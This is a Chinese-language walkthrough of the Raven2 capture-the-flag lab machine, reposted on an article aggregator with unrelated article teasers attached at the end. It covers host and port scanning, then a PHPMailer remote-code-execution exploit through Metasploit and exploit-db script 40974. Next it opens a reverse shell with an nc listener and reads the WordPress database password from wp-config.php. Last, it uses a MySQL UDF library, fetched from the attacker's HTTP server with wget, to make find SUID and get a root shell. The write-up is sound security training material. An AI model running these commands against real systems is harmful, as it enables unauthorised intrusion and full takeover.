Raven2靶机渗透

1. 信息收集

1.1 主机探测

sudo arp-scan -l

image-20231013144649685

1.2 端口扫描

nmap -p- -A 192.168.16.185

image-20231013144904319

开放了80端口,尝试登录网址查看信息,通过浏览器插件找出指纹

image-20231013145409811

image-20231013150539693

1.3 目录扫描

image-20231013151850420

访问登录界面,发现remember Me怀疑是shiro界面

image-20231013151957106

登录/vendor/界面,查看信息

image-20231013152735139

获得flag1和网站的绝对路径

image-20231013152812340

image-20231013153159320

image-20231013154015705

经查找发现PHPMailer < 5.2.18版本存在安全漏洞,可使未经身份验证的远程攻击者在Web服务器用户上下文中执行任意代码,远程控制目标web应用

2. 漏洞利用

2.1 msfconsole

搜索漏洞

image-20231013161328136

使用可用目标0,查看需要设置什么

按照需求配置参数,先配置靶机的IP和邮箱功能页面和绝对路径,在查看设置可以发现kali反弹shell的IP是本机IP

	optionsset RHOSTS 192.168.16.185	  #靶机地址set TARGETURI /contact.php    #邮件功能页面set WEB_ROOT /var/www/html    #网站绝对路径set payload php/meterpreter/reverse_tcp	  #设置payloadset LHOST 192.168.16.176     #kali地址run

image-20231013162530243

searchsploit phpmailer

image-20231013164007026

脚本需要进行一些修改,需要知道网站的绝对路径,能够在前面vendor下的PATH中能够得到flag1和网站的绝对路径

image-20231013171509692

python3 ./40974.py

运行脚本后,使用攻击机监听4444端口

nc -lvvp 4444

访问http://192.168.16.185/dayu.php就会获得反弹shell

image-20231013172034005

image-20231013172023041

使用find命令搜索一下flag文件,得到flag2和flag3

find / -name *flag* 2>/dev/null

image-20231013172340223

获得交互式的shell

python -c 'import pty; pty.spawn("/bin/bash")'

在网站根目录下查看数据库配置文件

cd /var/www/html/
ls
cd wordpress
ls
cat wp-config.php

image-20231013175127314

2.2 数据库UDF提权

登录数据库

user:root
password:R@v3nSecurity
mysql -uroot -pR@v3nSecurity

image-20231013175452909

尝试mysql的udf提权

udf = 'user defined function’即‘用户自定义函数’。
通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。
udf在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写。

提权思路:

  • 将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)
  • 从udf文件中引入自定义函数(user defined function)
  • 执行自定义函数

查看secure_file_prive

查看是否满足写入权限:secure_file_prive是否为空

show global variables like 'secur%';

image-20231013180030163


查看插件目录

show variables like '%plugin%';

image-20231013180755672

查看是否存在远程登录

use mysql
select user,host from user;

没有远程登录

image-20231013180958820

只允许本地登录,所以不能使用msf进行提权了,使用searchsploit查看漏洞脚本

searchsploit mysql udf

image-20231013185153962

找到提权的脚本,将1518移动到桌面并对c文件进行编译

编译命令

gcc -g -c /home/ycx/Desktop/1518.c
gcc -g -shared -o 1518.so 1518.o -lc

image-20231013190300636

image-20231013190658487

python开启http服务

python -m http.server 8888

靶机的shell终端进行文件下载
要在/tmp目录下载

cd /tmp
wget http://192.168.16.132:8888/1518.so

image-20231013191104703

再次登录数据库,并使用以下命令创建自定义函数

# 连接mysql数据库
mysql -uroot -pR@v3nSecurity
# 使用mysql数据库
use mysql;
# 创建foo表
create table foo(line blob);
# 往foo表中插入二进制的1518.so
insert into foo values(load_file('/tmp/1518.so'));
# 导出1518.so
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
# 创建do_system自定义函数
create function do_system returns integer soname '1518.so';
# 调用do_system函数给find命令所有者的suid权限,使其执行root
select do_system('chmod u+s /usr/bin/find');
# 导入成功后可查看一下 mysql 函数里面是否新增了do_system:
select * from mysql.func;

image-20231013192511615

在tmp目录下利用find命令执行whoami,发现当前权限是root权限;使用find命令获取root权限的shell

touch 11
find 11 -exec "whoami" \;
find 11 -exec "/bin/sh" \;

image-20231013193534264

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/107091.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

「深入探究Web页面生命周期:DOMContentLoaded、load、beforeunload和unload事件」

&#x1f3ac; 江城开朗的豌豆&#xff1a;个人主页 &#x1f525; 个人专栏 :《 VUE 》 《 javaScript 》 &#x1f4dd; 个人网站 :《 江城开朗的豌豆&#x1fadb; 》 ⛺️ 生活的理想&#xff0c;就是为了理想的生活 ! 目录 引言 1. DOMContentLoaded 1.1 属性 1.2 A…

【aloam】ubuntu20.04 配置 aloam 环境,编译过程报错及成功解决方法

为什么写这篇博客 ALOAM是slamer的必经之路&#xff0c;official提供的基础环境推荐ubuntu16.04或者18.04&#xff0c;而我用20.04已经有一段时间了&#xff0c;不方便换&#xff0c;但由于其他原因也不得不去配置。过程中出现了几个问题&#xff0c;在这里也就20分钟&#xf…

04在命令行中使用Maven命令创建Maven版的Web工程,并将工程部署到服务器的步骤

创建Maven版的Web工程 使用命令生成Web工程 使用mvn archetype:generate命令生成Web工程时&#xff0c;需要使用一个专门生成Web工程骨架的archetype(参照官网看到它的用法) -D表示后面要附加命令的参数&#xff0c;字母D和后面的参数是紧挨着的&#xff0c;中间没有任何其它…

记一次Redis Cluster Pipeline导致的死锁问题

作者&#xff1a;vivo 互联网服务器团队- Li Gang 本文介绍了一次排查Dubbo线程池耗尽问题的过程。通过查看Dubbo线程状态、分析Jedis连接池获取连接的源码、排查死锁条件等方面&#xff0c;最终确认是因为使用了cluster pipeline模式且没有设置超时时间导致死锁问题。 一、背…

掌握 Scikit-Learn: Python 中的机器学习库入门

机器学习 第二课 Sklearn 入门 概述机器学习与 Python 的完美结合Scikit-Learn 的核心组件与结构安装与配置验证安装 数据表示与预处理特征矩阵和目标向量数据处理 估计器模型的选择思考问题的本质研究数据的分布判断任务的复杂性分类问题回归问题 监督学习分类算法回归算法 无…

常见的8个JMeter压测问题

为什么在JMeter中执行压力测试时&#xff0c;出现连接异常或连接重置错误&#xff1f; 答案&#xff1a;连接异常或连接重置错误通常是由于服务器在处理请求时出现问题引起的。这可能是由于服务器过载、网络故障或配置错误等原因导致的。 解决方法&#xff1a; 确定服务器的负载…

智能警用装备管理系统-科技赋能警务

警用物资装备管理系统&#xff08;智装备DW-S304&#xff09;是依托互云计算、大数据、RFID技术、数据库技术、AI、视频分析技术对警用装备进行统一管理、分析的信息化、智能化、规范化的系统。 &#xff08;1&#xff09;感知智能化 装备感知是整个方案的基础&#xff0c;本方…

基于YOLO算法的单目相机2D测量(工件尺寸和物体尺寸)三

1.简介 1.1 2D测量技术 基于单目相机的2D测量技术在许多领域中具有重要的背景和意义。 工业制造&#xff1a;在工业制造过程中&#xff0c;精确测量是确保产品质量和一致性的关键。基于单目相机的2D测量技术可以用于检测和测量零件尺寸、位置、形状等参数&#xff0c;进而实…

PyTorch入门教学——使用PyCharm创建一个PyTorch项目

首先需要创建好PyTorch的虚拟环境&#xff0c;步骤&#xff1a;PyTorch入门教学——简介与环境配置-CSDN博客打开PyCharm&#xff0c;新建项目&#xff0c;选择项目的存放位置。选择先前配置的解释器&#xff0c;也就是虚拟环境中的解释器。&#xff08;记住创建的虚拟环境所在…

年龄越大,越要小心逢九年

老话有云&#xff1a;年龄逢九&#xff0c;灾祸频有。在我国的许多农村地区&#xff0c;至今还流传着这么句话&#xff0c;这句话的大概意思是说&#xff1a;每个人命理年龄逢九&#xff0c;就会有个坎&#xff0c;年龄越大&#xff0c;坎就越厉害&#xff0c;所以&#xff0c;…

【Linux】线程安全问题①——如何实现资源访问互斥(附图解与代码实现)

线程安全主要分为两个方面&#xff0c;分别是资源访问互斥与线程同步&#xff08;线程协同配合&#xff09; 本篇博客&#xff0c;我们主要来讲解资源访问互斥这一方面 目录 为什么要实现资源访问互斥&#xff1f; 实现资源访问互斥&#xff08;原子访问&#xff09;的经典…

Nginx正向代理配置(http)

前言 在工作中我们经常使用nginx进行反向代理,今天介绍下怎么进行正向代理,支持http请求,暂不支持https 首先先介绍下正向代理和反向代理。 正向代理 在客户端&#xff08;浏览器&#xff09;配置代理服务器&#xff0c;通过代理服务器进行互联网访问。 反向代理 客户端只…

ThinkPHP5小语种学习平台

有需要请加文章底部Q哦 可远程调试 ThinkPHP5小语种学习平台 一 介绍 此小语种学习平台基于ThinkPHP5框架开发&#xff0c;数据库mysql&#xff0c;前端bootstrap。平台角色分为学生&#xff0c;教师和管理员三种。学生注册登录后可观看学习视频&#xff0c;收藏视频&#xf…

关于图像分割SDK的一些基础认识

随着科技的不断发展&#xff0c;图像分割SDK已经成为了一个备受关注的话题。而在众多图像分割SDK中&#xff0c;美摄图像分割SDK以其独特的功能和优势脱颖而出。本文将从美摄图像分割SDK的企业价值和互联网娱乐方面&#xff0c;介绍其宣传文章的具体写作规范。 在企业价值方面&…

从一到无穷大 #18 时序数据库运营SLI思考

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。 本作品 (李兆龙 博文, 由 李兆龙 创作)&#xff0c;由 李兆龙 确认&#xff0c;转载请注明版权。 公有云时序数据库SLA 运营商产品每服务周期服务可用率不低于99.9%衡量服务不可用数据指标从采…

202、RabbitMQ 之 使用 fanout 类型的Exchange 实现 Pub-Sub 消息模型---fanout类型就是广播类型

目录 ★ 使用 fanout 类型的Exchange 实现 Pub-Sub 消息模型代码演示&#xff1a;生产者&#xff1a;producer消费者&#xff1a;Consumer01消费者&#xff1a;Consumer02测试结果 完整代码ConnectionUtilPublisherConsumer01Consumer02pom.xml ★ 使用 fanout 类型的Exchange …

[Swift]同一个工程管理多个Target

1.准备 先创建一个测试工程“ADemo”&#xff0c;右键其Target选择Duplicate&#xff0c;再复制一个Target为“ADemo2”。 再选择TARGETS下方的“”&#xff0c;添加一个APP到项目中&#xff0c;这个命名为“BDemo”。 2、管理多个Target 可以对三个target分别导入不同的框…

iWall:支持自定义的Mac动态壁纸软件

iWall Mac是一款动态壁纸软件&#xff0c;它可以使用任何格式的漂亮视频&#xff08;无须转换&#xff09;、图片、动画、Flash、gif、swf、程序、网页、网站做为您的动态壁纸、动态桌面&#xff0c;并且可以进行交互。 这款软件功能多、使用简单、体积小巧、不占用资源、运行…

微信小程序引入阿里巴巴iconfont图标并使用

介绍 在小程序里&#xff0c;使用阿里巴巴的图标&#xff0c;如下所示: 使用方式 搜索自己需要的图标&#xff0c;然后将需要用到的图标加入购物车&#xff0c;如下图所示&#xff1a; 去右上角&#xff0c;点击购物车按钮&#xff1b;这里第一次使用&#xff0c;会有三个提…

Redis缓存穿透、缓存击穿、缓存雪崩详解

目录 缓存处理流程 一、缓存穿透 1、概念 2、解决办法 二、缓存击穿 1、概念 2、解决办法 三、缓存雪崩 1、概念 2、解决办法 缓存处理流程 接收到查询数据请求时&#xff0c;优先从缓存中查询&#xff0c;若缓存中有数据&#xff0c;则直接返回&#xff0c;若缓存中查不到则从…